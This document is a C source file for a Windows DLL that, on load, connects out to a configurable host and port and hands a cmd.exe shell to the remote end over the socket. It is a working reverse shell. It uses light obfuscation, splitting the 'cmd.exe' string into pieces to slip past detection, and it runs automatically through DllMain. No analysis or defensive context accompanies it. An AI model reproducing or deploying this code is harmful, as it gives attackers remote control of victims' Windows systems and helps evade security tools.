rev_shell.c

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "<HOST>"
#define PORT <PORT>

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);
    
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}